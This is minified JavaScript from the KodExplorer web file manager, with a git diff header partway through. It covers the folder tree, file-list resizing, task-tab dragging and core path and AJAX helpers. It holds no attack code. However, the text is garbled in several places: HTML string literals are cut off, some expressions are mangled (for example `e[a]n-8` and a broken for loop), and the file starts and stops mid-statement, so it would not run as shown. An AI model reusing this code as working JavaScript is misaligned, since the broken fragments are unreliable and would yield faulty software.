i=LNG.name+":"+b.name+"\n"+LNG.size+":"+pathTools.fileSize(b.size)+"\n"+LNG.modify_time+":"+b.mtime;"file"!=b.type&&(i=b.name),d.parent().addClass(h).attr("title",i),0==b.isWriteable&&d.parent().addClass("file-not-writeable"),0==b.isReadable&&d.parent().addClass("file-not-readable"),0===b.exists&&d.parent().addClass("file-not-readable")}},callback:{onClick:function(a,b,c){if(0==c.level&&j.save(),$(a.target).hasClass("menu-item")||$(a.target).parent().hasClass("menu-item")){var e=$("#"+c.tId+"_a"),f=e.find(".menu-item");return e.contextMenu({x:f.offset().left+f.width(),y:f.offset().top}),stopPP(a)}return d.selectNode(c),core.isApp("editor")&&"folder"==c.type?void d.expandNode(c):void(core.isApp("editor")||"folder"!=c.type?(kodApp.setLastOpenTarget($("#"+c.tId)),kodApp.open(o().path)):ui.path.list(c.path))},beforeDblClick:function(){return!0},onCollapse:function(a,b,c){0==c.level&&j.save()},onExpand:function(a,b,c){0==c.level&&j.save()},onDblClick:function(a,b,c){return $(a.target).hasClass("switch")||!m()?!1:void d.expandNode(c)},beforeRightClick:function(a,b){d.selectNode(b)},beforeAsync:function(a,b){b.ajax_name=b.name,b.ajax_path=b.path,$("#"+b.tId+"_my_ico").addClass("ico_loading")},onAsyncSuccess:function(a,b,e,f){return $("#"+e.tId+"_my_ico").removeClass("ico_loading"),0==f.data.length?void d.removeChildNodes(e):void("function"==typeof c&&(c(),c=void 0))},onRename:function(a,b,f,g){var h=f.getParentNode();if(d.getNodesByParam("name",f.name,h).length>1)return Tips.tips(LNG.name_isexists,!1),void d.removeNode(f);if(f.create){var i=f.path+"/"+f.name;"folder"==f.type?e.newFolder(i,function(a){c=function(){var a=d.getNodesByParam("name",f.name,h)[0];d.selectNode(a),t()},p(h)}):e.newFile(i,function(a){c=function(){var a=d.getNodesByParam("name",f.name,h)[0];d.selectNode(a),t()},p(h)})}else{var j=rtrim(f.path,"/"),k=core.pathFather(f.path)+f.name;e.rname(j,k,function(a){f.path=a,c=function(){var a=d.getNodesByParam("name",f.name,h)[0];d.selectNode(a),t(),"folder"==f.type&&ui.path.list(f.path)},p(h)})}},beforeDrag:function(a,b){for(var c=0,d=b.length;d>c;c++)if(b[c].drag===!1)return!1;return!0},beforeDrop:function(a,b,c,d){return c?c.drop!==!1:!0},onDrop:function(a,b,c,d,e){var g="",h="",i=c[0];(i.father||i.thisPath)&&(g=i.father+urlEncode(i.name),h=d.father+urlEncode(d.name),f.cuteDrag([{path:g,type:i.type}],h,function(){p(i)}))}}},o=function(a){if(d){var b=d.getSelectedNodes()[0],c="";return b?(c=b.type,("_null_"==c||void 0==c)&&(c="folder"),"file"==c&&(c=b.ext),a?[{path:b.path,type:c,node:b}]:{path:b.path,type:c,node:b}):{path:"",type:""}}},p=function(a){return a||(a=d.getSelectedNodes()[0]),a.isParent||(a=a.getParentNode())?void d.reAsyncChildNodes(a,"refresh"):void ui.tree.init()},q=function(){s(G.KOD_USER_FAV),t()},r=function(){q(),s(G.KOD_GROUP_ROOT_SELF),s(G.KOD_GROUP_ROOT_ALL)},s=function(a){var b=d.getNodesByParam("path",a,null);p(b[0])},t=function(){core.isApp("explorer")&&ui.f5()};return{makeParam:o,treeOpenHistory:j,treeDataSort:i,init:k,refresh:p,refreshPath:s,refreshFav:q,refreshGroup:r,zTree:function(){return d},openEditor:function(){kodApp.open(o().path)},openWindow:function(){kodApp.openWindow(o().path)},share:function(){e.share(o())},download:function(){"folder"==o().type?e.zipDownload(o(!0)):kodApp.download(o().path)},setSelect:function(a){return},open:function(){if(!($(".dialog-path-remove").length>=1)){var a=o();"oexe"==a.type&&(a.path=a.node),kodApp.setLastOpenTarget($(".curSelectedNode").parent()),kodApp.open(a.path,a.type)}},fav:function(){var a=o();a.name=a.node.name,a.node="null",e.fav(a)},createLink:function(a){var b=o();e.createLink(b.path,b.node.name,b.type,a,t)},search:function(){g("",o().path)},appEdit:function(){var a=o(),b=a.node;b.path=a.path,e.appEdit(b,function(){p(a.node.getParentNode())})},info:function(){e.info(o(!0))},copy:function(){f.copy(o(!0))},cute:function(){f.cute(o(!0))},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(a){f.copyDrag(o(!0),a,"",!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(a){f.cuteDrag(o(!0),a,function(){s()})})},past:function(){var a=o();a.node.isParent||(a.node=a.node.getParentNode()),f.past(a.path,function(){t(),p(a.node)})},clone:function(){var a=o();a.node.isParent||(a.node=a.node.getParentNode()),f.copyDrag(o(!0),core.pathFather(a.path),function(){t(),p("folder"==a.type?a.node.getParentNode():a.node)},!0)},favRemove:function(a){e.favRemove(o().node.name,function(a){Tips.tips(a),q()})},remove:function(){var a=o(!0),b=a[0].node.getParentNode();a[0].type=a[0].node.type,a[0].type="folder"==a[0].type?"folder":"file",e.remove(a,function(){t(),p(b)})},checkIfChange:function(a){h||(h=!0,d&&(d.getNodesByFilter(function(b){var c=b.path;return"folder"==b.type&&core.pathClear(c)==core.pathClear(a)&&p(b),!1},!0),setTimeout(function(){h=!1},500)))},explorer:function(){var a=d.getSelectedNodes();if(a.length<=0){var b=d.getNodes();d.selectNode(b[0])}var c=o().path;"folder"!=o().type&&(c=core.pathFather(c)),core.explorer(c)},openProject:function(){core.explorerCode(o().path)},create:function(a){var b=d.getSelectedNodes();if(b.length<=0){var e=d.getNodes();d.selectNode(e[0])}else"file"==b[0].type&&d.selectNode(b[0].getParentNode());var f=o(),g=f.node,h=g.getParentNode(),i=0,j="folder"==a?"":"."+a,k="folder"==a?LNG.newfolder:LNG.newfile;if(0==d.getNodesByParam("name",k+j,h).length)k+=j;else{for(;d.getNodesByParam("name",k+"("+i+")"+j,h).length>0;)i++;k=k+"("+i+")"+j}var l={name:k,ext:j,type:a,create:!0,path:f.path};if(void 0!=g.children){var m=d.addNodes(g,l)[0];d.editName(m)}else"folder"!=g.type&&(g=g.getParentNode()),c=function(){var a=d.addNodes(g,l)[0];d.editName(a)},g.isParent?d.expandNode(g):c()},showFile:function(){var a=G.appHost+"share/file&sid="+G.sid+"&user="+G.user+"&path="+o().path;window.open(a)},rname:function(){var a=d.getSelectedNodes()[0];d.editName(a),a.beforeName=a.name}}});;define("app/src/explorer/fileListResize",[],function(a,b){var c={filename:250,filetype:80,filesize:80,filetime:150,explorerTreeWidth:199,editorTreeWidth:199},d={filename:150,filetype:60,filesize:60,filetime:120,explorerTreeWidth:2,editorTreeWidth:2},e=c,f=function(){if(LocalData.get("resizeConfig"))e=jsonDecode(LocalData.get("resizeConfig"));else{"undefined"!=typeof G.userConfig.resizeConfig&&(e=jsonDecode(htmlDecode(G.userConfig.resizeConfig)));var a=jsonEncode(e);LocalData.set("resizeConfig",a)}$.each(c,function(a,b){(!e[a]||e[a]n-8&&n+8>j&&(j=n+1),f){var o=400;k.animate({width:j},o),l.animate({left:j-5},o),m.animate({left:j},o)}else k.css("width",j),l.css("left",j-5),m.css("left",j);"undefined"!=typeof ui.setStyle&&ui.setStyle(),b&&(e=i,g())}},j=function(){return void 0!=$.getUrlParam("type")?!0:!1},k=function(a,b,c){var f=$.extend(!0,{},e);f[a]+=b,h(f),c&&(e=f,$.each(e,function(a,b){b<=d[a]&&(e[a]=d[a])}),g())},l=function(){$("#main-title").hasClass("bind-init")||(h(e),$("#main-title").addClass("bind-init"),$.each(c,function(a,b){$("#main-title ."+a+"-resize").drag({start:function(){},move:function(b,c){k(a,b,!1)},end:function(b,c){k(a,b,!0)}})}))},m=function(){var a=$(".frame-resize");a.drag({start:function(){a.addClass("active"),$(".resize-mask").css("display","block")},move:function(a,b){i(a,!1,!1)},end:function(b,c){i(b,!0,!1),a.removeClass("active"),$(".resize-mask").css("display","none")}})},n=function(){var a="fileIconSize";core.isApp("desktop")&&(a="fileIconSizeDesktop");var b=G.userConfig[a];b||(b="75"),q(b,!1),o(b)},o=function(a){$(".set-file-icon-size .file-icon-size").removeClass("selected");for(var b=[["40","box-size-smallx"],["60","box-size-small"],["80","box-size-default"],["100","box-size-big"],["120","box-size-bigx"]],c=10,d="",e=0;e=f-c&&f+c>=a){d=b[e][1];break}}""!=d&&$("."+d).addClass("selected")},p=function(a){var b="fileIconSize";core.isApp("desktop")&&(b="fileIconSizeDesktop"),G.userConfig[b]=a,o(a),$.get(G.appHost+"setting/set&k="+b+"&v="+a)},q=function(a,b){var c=a,d=105,e=30,f=250;core.isApp("desktop")&&(e=40,f=150),c=e>=c?e:c,c=c>=f?f:c;var g=(a-e)*d/(f-e),h=20,i=10,j=parseInt(c),k=j+2*h-i+5,l=j-i,m=j-i,n=.4*j,o=j+3*h-i,q=".file-list-icon div.file,.file-list-icon .flex-empty{height:"+k+"px;width:"+j+"px;}";core.isApp("desktop")&&(k-=5,q="div.file-list-icon div.file,.file-list-icon .flex-empty{height:"+k+"px;width:"+j+"px;}"),$.browser.mozilla&&(m-=4);var r="div.file-list-icon div.file{max-height:"+o+"px;}"+q+" .file-list-icon .meta-info{height:"+n+"px;width:"+n+"px; margin-right:"+.16*n+"px;margin-top:-"+1.1*n+"px;} .file-list-icon div.file .filename{width:"+j+"px;} .file-list-icon div.file .filename #pathRenameTextarea, .file-list-icon div.file .filename .newfile{width:"+j+"px;} .file-list-icon div.file .ico{padding-left:"+i/2+"px;height:"+m+"px;width:"+l+"px} .file-list-icon div.file .ico.picture{width:"+l+"px;padding-left:"+i/2+"px;overflow:hidden;display:block;} ";$.setStyle(r,"file_icon_resize"),$(".slider-handle").css("top",g),b&&p(a)},r=function(){var a,b=$(".slider-handle");$(".set-icon-size-slider").bind("click",function(a){return stopPP(a),!1});var c=function(b){var c=0,d=105,e=30,f=250,g=a+b;g=c>g?c:g,g=g>d?d:g;var h=parseInt(g/d*(f-e)+e);return q(h,!1),h};b.drag({start:function(c){b.addClass("active"),a=parseInt(b.css("top"))},move:function(a,b,d){c(b)},end:function(a,d,e){b.removeClass("active"),p(c(d),!0)}});var d=$(".slider-bg");$(".slider-bg").unbind("click").bind("click",function(b){var e=b.clientY-d.offset().top;a=0,p(c(e),!0)})},s=function(){var a=function(a,b){var c=a.parent(),d=$(".split-box").index(c),e=parseInt(c.data("before_width"))+b;if(!(150>e)){$($(".split-line").get(d)).css("width",e),c.css("width",e),$(".split-box:gt("+d+")").each(function(){$(this).hasClass("is-drag-split")||$(this).css("left",parseInt($(this).data("before_left"))+b+"px")});var f=[];$(".split-box").each(function(){f.push({left:$(this).css("left"),width:$(this).width()})}),LocalData.set("splitBoxSize",jsonEncode(f))}};$(".bodymain .file-list-split .split-drag").drag({start:function(a,b){var c=b.parent();c.addClass("is-drag-split").data("before_width",c.width()),$(".split-box,.split-line").each(function(){$(this).data("before_left",$(this).css("left"))})},move:function(b,c,d,e){a(e,b)},end:function(a,b,c,d){d.parent().removeClass("is-drag-split")}},!0),$(".file.select-split-parent").removeClass("select-split-parent"),$(".split-box").each(function(){$('.file[data-path="'+$(this).attr("data-path")+'"]').addClass("select-split-parent")}),t()},t=function(){var a=LocalData.get("splitBoxSize"),b=0;a=!a||jsonDecode(a)?[]:jsonDecode(a);var c=function(c,d){var e=a[d];e||(e={width:250,left:b}),b+=e.width+1,c.css({width:e.width+"px",left:e.left})};b=0,$(".split-box").each(function(a){c($(this),a)}),b=0,$(".split-line").each(function(a){c($(this),a)}),$(".bodymain").scrollLeft(1e5)};return{init:function(){f(),j()&&(e=c),h(e),m(),i(0,!1,!0),r()},initFileSize:n,bindSplitResize:s,bindHeaderResize:l,setFileIconSize:q}}); \ No newline at end of file diff --git a/static/js/app/src/explorer/main.js b/static/js/app/src/explorer/main.js index 2d13edf..ae91ac7 100755 --- a/static/js/app/src/explorer/main.js +++ b/static/js/app/src/explorer/main.js @@ -1,9 +1,2 @@ -/*! power by kodcloud ver4.25(2017-12-04) [build 1512365183740] */ -define("app/src/explorer/main",["lib/jquery-lib","lib/util","lib/ztree/ztree","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","../../common/taskTap","../../common/core","../../common/rightMenuExtence","../../app/appBase","../../app/editor","../../app/openWith","../../app/html","../../common/rightMenu","./ui","./fileContent","../../common/tree","../../path/pathOperate","../../path/clipboard","../../path/search","../../path/path","./fileLight","./fileSelect","./fileListResize","./headerAddress","./options"],function(e){Config={BodyContent:".bodymain",FileBoxSelector:".bodymain .file-continer",FileBoxClass:".bodymain .file-continer .file",FileBoxClassName:"file",FileBoxTittleClass:".bodymain .file-continer .title",SelectClass:".bodymain .file-continer .file.select",SelectClassName:"select",TypeFolderClass:"folder-box",TypeFileClass:"file-box",HoverClassName:"hover",TreeId:"folder-list-tree",pageApp:"explorer",treeAjaxURL:"explorer/treeList&app=explorer",AnimateTime:200},e("lib/jquery-lib"),e("lib/util"),e("lib/ztree/ztree"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),TaskTap=e("../../common/taskTap"),core=e("../../common/core"),rightMenu=e("../../common/rightMenu"),ui=e("./ui"),ui.tree=e("../../common/tree"),ui.path=e("../../path/path"),ui.fileLight=e("./fileLight"),ui.fileSelect=e("./fileSelect"),ui.fileListResize=e("./fileListResize"),ui.headerAddress=e("./headerAddress"),ui.options=e("./options"),$(document).ready(function(){function t(e){var t=RegExp("(^|&)"+e+"=([^&]*)(&|$)"),a=window.location.search.substr(1).match(t);return null!=a?unescape(a[2]):null}rightMenu.initExplorer(),core.init(),ui.init(),ui.tree.init(),ui.fileLight.init(),ui.fileSelect.init(),ui.headerAddress.init(),TaskTap.init(),ui.fileListResize.init(),ui.fileListResize.initFileSize(),ui.options.init(),$(".init-loading").fadeOut(450).addClass("pop_fadeout"),e.async("lib/webuploader/webuploader-min",function(){core.uploadInit()}),"fileList"==t("type")&&($(".menu-theme-list").remove(),$(".tools .tools-left").remove(),$(".header-middle").prependTo(".tools").css("padding-top","3px"),$("#yarnball").addClass("btn-left-radius"))})}),define("app/common/taskTap",[],function(){var e={},t="",a=160,i=function(){$(".task-tab .tab").die("mouseenter").live("mouseenter",function(){$(this).hasClass("this")||$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")})},n=function(e){var t=e.attr("id"),a=$.dialog.list[t];if(void 0==a)return c(t),void 0;var i=$("."+t);"hidden"==i.css("visibility")?a.display(!0).zIndex():i.hasClass("aui-state-focus")?a.display(!1):a.zIndex()},o=function(){var e,t,i,o,s=!1,r=!1,l=0,c=0,d=0,p=0,u=0,f=0;$(".task-tab .tab").die("mousedown").live("mousedown",function(t){1==t.which&&(e=$(this),h(t),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(t){g(),this.releaseCapture&&this.releaseCapture(),10>Math.abs(t.pageX-l)&&n(e)}))});var h=function(a){s=!0,r=!0,l=a.pageX,$tab_parent=$(".task-tab"),t=$(".task-tab .tab"),$(".tasktab-dragging").remove(),i=e.clone().addClass("tasktab-dragging").prependTo("body"),p=$sizeInt(t.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),c=e.get(0).getBoundingClientRect().left,d=$sizeInt(t.css("width"));var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),o=a.clientX-l+c;$("body").prepend("
        "),i.css({width:d+"px",top:n,left:o}),e.css("opacity",0)},m=function(a){if(r){window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),0==s&&h(a);var n=a.clientX-l+c;f>n||n>f+u-d||(i.css("left",n),t.each(function(){var t=$(this).get(0).getBoundingClientRect().left;if(n>t&&t+d/2+p>n){if(e.attr("id")==$(this).attr("id"))return;v($(this).attr("id"),"left")}if(n>t-d/2+p&&t>n){if(e.attr("id")==$(this).attr("id"))return;v($(this).attr("id"),"right")}}))}},v=function(i,n){if(!e.is(":animated")||o!=i){o=i,e.stop(!0,!0),$(".insertTemp").remove(),t=$(".task-tab .tab");var s=e.width(),r=$(".task-tab #"+i),l=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(r).css("width","0px"):(e.before(r).css("width","0px"),r.before(l)),e.animate({width:s+"px"},a),l.animate({width:"0px"},a,function(){$(this).remove(),t=$(".task-tab .tab")})}},g=function(){r=!1,s=!1,startTime=0,$(".dragMaskView").remove(),void 0!=i&&(c=e.get(0).getBoundingClientRect().left,i.animate({left:c+"px"},a,function(){e.css("opacity",1),$(this).remove()}))}},s=function(e){var t=110,i=t,n=t+12,o=$(".task-tab .tab"),s=$(".task-tab .tabs").width()-10,r=o.length,l=Math.floor(s/n);switch(r>l&&(i=Math.floor(s/r)-12),e){case"add":$(".task-tab .tabs .this").css("width","0").animate({width:i+"px"},a);case"close":o.animate({width:i+"px"},a);break;case"resize":o.css("width",i+"px");break;default:}},r=function(t,a){$(".task-tab").removeClass("hidden");var i=a.replace(/<[^>]+>/g,""),n='";$(n).insertBefore(".task-tab .last"),s("add"),e[t]={id:t,name:name}},l=function(e){$(".task-tab .this").removeClass("this"),$(".task-tab #"+e).addClass("this"),t=e},c=function(t){$(".task-tab #"+t).animate({width:0},a,function(){if($(".task-tab #"+t).remove(),s("close"),0==$(".tabs .tab").length&&!core.isApp("desktop")){var e=31;$(".task-tab").animate({bottom:"-"+e+"px"},200,0,function(){$(this).css({bottom:"0px"}).addClass("hidden")})}}),delete e[t]},d=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-taskbar",items:{"quit-others":{name:LNG.close_others,className:"quit-others",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var a=t.$trigger.attr("id"),i=$.dialog.list[a];switch(e){case"quit-others":$.each($.dialog.list,function(e,t){a!=e&&t.close()});break;case"quit":i.close()}}})},p=function(){$.contextMenu({zIndex:9999,selector:".task-tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var a=t.$trigger.attr("id");switch($.dialog.list[a],e){case"showAll":$.each($.dialog.list,function(e,t){t.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})};return{add:r,focus:l,close:c,init:function(){var e='
        ';$(e).appendTo("body"),core.isApp("desktop")||$(".task-tab").addClass("hidden"),$(window).bind("resize",function(){s("resize")}),i(),d(),p(),o()}}}),define("app/common/core",["./rightMenuExtence","../app/appBase","../app/editor","../app/openWith","../app/html"],function(require,exports){tplUpload=require("./tpl/upload.html"),tplFormMake=require("./tpl/formMake.html");var tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),formMake=require("./core.formMake");require("./rightMenuExtence"),kodApp=require("../app/appBase"),require("../app/editor"),require("../app/openWith"),require("../app/html"),pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initTemplate=function(){window.require=require,template.config||(template.config=function(e,t){template.defaults[e]=t},template.helper=function(e,t){template.defaults.imports[e]=t}),template.config("escape",!1),template.config("compress",!0),template.helper("kod",{$:$,window:window,log:console.log,core:core,pathTools:window.pathTools,inArray:inArray}),template.defaults.imports.pathTools=window.pathTools,template.defaults.escape=!1,"_dev"==G.environment?(template.defaults.cache=!1,template.defaults.minimize=!1,template.defaults.compileDebug=!0):(template.defaults.cache=!0,template.defaults.minimize=!0,template.defaults.compileDebug=!1)},initFirst=function(){initTemplate(),"undefined"!=typeof G&&(1!=G.isRoot&&$(".menu-system-setting").remove(),G.isRoot||core.authCheck("systemMember.get")||1==core.authCheck("systemGroup.get")||$(".menu-system-group").remove(),G.userConfig&&"0"==G.userConfig.animateOpen&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{$.contextMenu.hidden()}catch(e){}}),$("body").click(function(){ShareData.frameTop("",function(e){self!=e&&e.$("body").trigger("click")})}),$.dialog.defaults.animate&&loadRipple(["a","button",".ripple-item",".context-menu-item","#picker",".menuShareButton",".menu-recycle-button",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common-footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init();for(var e=0;window.kodReady.length>e;e++)try{window.kodReady[e]()}catch(t){console.error("kodReady error:",t)}Hook.trigger("kodReady.end"),titleTips()},resetHost=function(){var e=window.location,t=e.port?":"+e.port:"";G.webHost=e.protocol+"//"+e.hostname+t+"/",G.appHost=rtrim(G.webHost,"/")+e.pathname.replace("index.php","")+"index.php?",G.appRoot=rtrim(G.webHost,"/")+e.pathname.replace("index.php",""),"1"==G.settings.paramRewrite&&(G.appHost=G.appHost.replace("index.php?","index.php/")),Cookie.set("HOST",G.webHost),Cookie.set("APP_HOST",G.appRoot),Cookie.set("kodUserLanguage",G.lang,8760)},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"
        ")}}),$("body").bind("mousedown",function(){$(".ptips-skin").remove(),$.setStyle("body .ptips-skin{display:none !important;}","ptips-title")}).bind("mouseup",function(){$.setStyle("","ptips-title")}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,formMake:formMake,getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var a=trim(trim(e),"/");if(e={},"{"!=a.substring(0,1)||a.split("/").length>1)return{icon:"",name:""};e.pathType=a.match(/\{.*\}/),e.id=a.split(":")[1]}var i={};i[G.KOD_USER_SHARE]={icon:"user-self",name:LNG.my_share},i[G.KOD_GROUP_PATH]={icon:"group-self-owner"},i[G.KOD_GROUP_SHARE]={icon:"group-guest"},i[G.KOD_USER_SELF]={icon:"user-self"},i[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},i[G.KOD_USER_FAV]={icon:"tree-fav",name:LNG.fav},i[G.KOD_GROUP_ROOT_SELF]={icon:"group-self-root",name:LNG.my_kod_group},i[G.KOD_GROUP_ROOT_ALL]={icon:"group-root",name:LNG.kod_group};var n=i[e.pathType];return e.pathType==G.KOD_USER_SHARE&&G.userID!=e.id?n={icon:"user",name:t}:e.pathType==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"group-self-owner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),a=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL];return-1!==$.inArray(t[0],a)?!0:!1},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{$.contextMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can-right-menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit-body").length||0!=$(t.target).parents(".aui-state-focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),a=t.lastIndexOf("/"),i=t.substr(a+1);if(0==i.search("fileProxy")){i=urlDecode(i.substr(i.search("&path=")));var n=i.split("/");i=n[n.length-1],""==i&&(i=n[n.length-2])}return i},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),a=t.lastIndexOf("/");return t.substr(0,a+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},pathUrlEncode:function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var a,i=this.pathClear(e);return G.isRoot&&t&&i.substring(0,G.webRoot.length)==G.webRoot?a=G.webHost+this.pathUrlEncode(i.replace(G.webRoot,"")):(a=G.appHost+"explorer/fileProxy&accessToken="+G.accessToken+"&path="+urlEncode(i),G.sharePage!==void 0&&(a=G.appHost+"share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(i),i.substr(0,G.KOD_USER_SHARE.length)==G.KOD_USER_SHARE&&(a=G.appHost+"share/fileProxy&path="+urlEncode(i)))),a},pathCommon:function(e){if("http"==e.substr(0,4))return urlEncode(e);if(e.substr(0,G.KOD_USER_SHARE.length)==G.KOD_USER_SHARE)return urlEncode(e);var t=this.pathClear(e),a=urlEncode(t);return G.sharePage!==void 0&&(a=urlEncode(G.KOD_USER_SHARE+":"+G.user+"/"+G.shareInfo.name+t)),a},isApp:function(e){if("undefined"==typeof Config)return!1;var t=Config.pageApp;return"string"==typeof e?t==e:$.isArray(e)?-1!==$.inArray(t,e)?!0:!1:!1},pathReadable:function(e){if("object"!=typeof G.jsonData)return!0;for(var t=G.jsonData.fileList,a=0;t.length>a;a++)if(t[a].path==e)return void 0==t[a].isReadable||1==t[a].isReadable?!0:!1;t=G.jsonData.folderList;for(var a=0;t.length>a;a++)if(t[a].path==e)return void 0==t[a].isReadable||1==t[a].isReadable?!0:!1;return!0},pathCurrentWriteable:function(){return core.isApp("editor")?!1:G.jsonData.info?G.jsonData.info.canUpload:!1},authCheck:function(e,t){return G.isRoot?!0:AUTH.hasOwnProperty(e)&&AUTH[e]?!0:(t&&(t=t===!0?LNG.no_permission:t,Tips.tips(t,!1)),!1)},ajaxError:function(e,t,a){console.log(e,t,a);var i=e.responseText,n=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==i.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==i&&(i="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置
        请联系主机商或网管,检查防火墙配置!"),i='
        '+i+"
        ",n?n.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,t,a){var i="filename";"http"==e.substr(0,4)&&(i="fileUrl");var n=G.appHost+"editor/fileGet&"+i+"="+urlEncode(e);G.sharePage!==void 0&&(n=G.appHost+"share/fileGet&user="+G.user+"&sid="+G.sid+"&"+i+"="+urlEncode(e)),(e.indexOf("editor/fileGet&")>=0||e.indexOf("share/fileGet&")>=0)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,t,i){core.ajaxError(e,t,i),"function"==typeof a&&a()},success:function(e){e.code&&"function"==typeof t&&(1==e.data.base64&&(e.data.content=base64Decode(e.data.content)),t(e.data.content,e,n)),e.code||"function"==typeof a&&a(e.data)}})},fileInfo:function(e,t){var a=G.appHost+"explorer/pathInfo";G.sharePage!==void 0&&(a=G.appHost+"share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:a,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){if(e=this.pathClear(e),G.isRoot&&e.substring(0,G.webRoot.length)==G.webRoot){var a=G.webHost+this.pathUrlEncode(e.replace(G.webRoot,""));return"function"==typeof t&&t(a),void 0}var i='dataArr=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var a=e.code?e.data.downloadPath:!1;return a?("function"==typeof t&&t(a),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.isRoot?"system":"user");var t="85%",a="85%";isWap()&&(t="100%",a="100%"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open(G.appHost+"setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:t,height:t})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),a=ShareData.frameTop();a.art.dialog({id:"dialog-copyright",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about,width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),a.$(".dialog-copyright").addClass("animated-700 